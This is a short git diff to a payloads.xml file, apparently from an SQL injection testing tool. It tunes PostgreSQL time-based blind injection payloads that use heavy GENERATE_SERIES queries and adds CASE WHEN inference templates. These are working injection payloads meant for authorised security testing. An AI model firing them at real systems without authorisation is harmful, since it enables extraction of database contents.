diff --git a/xml/payloads.xml b/xml/payloads.xml
index ccaf660c7..3e053901d 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1267,7 +1267,7 @@ Formats:
         <clause>0</clause>
         <where>1</where>
         <request>
-            <payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000));</payload>
+            <payload>; SELECT [RANDNUM] WHERE EXISTS(SELECT * FROM GENERATE_SERIES(1, 3000000));</payload>
             <comment>--</comment>
         </request>
         <response>
@@ -1504,8 +1504,9 @@ Formats:
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>1</where>
+        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000)) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>AND EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000))</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -1661,8 +1662,9 @@ Formats:
         <risk>3</risk>
         <clause>1,2,3</clause>
         <where>2</where>
+        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000)) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>OR EXISTS(SELECT * FROM GENERATE_SERIES(1, 10000000))</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, 3000000))</payload>
         </request>
         <response>
             <time>[DELAYED]</time>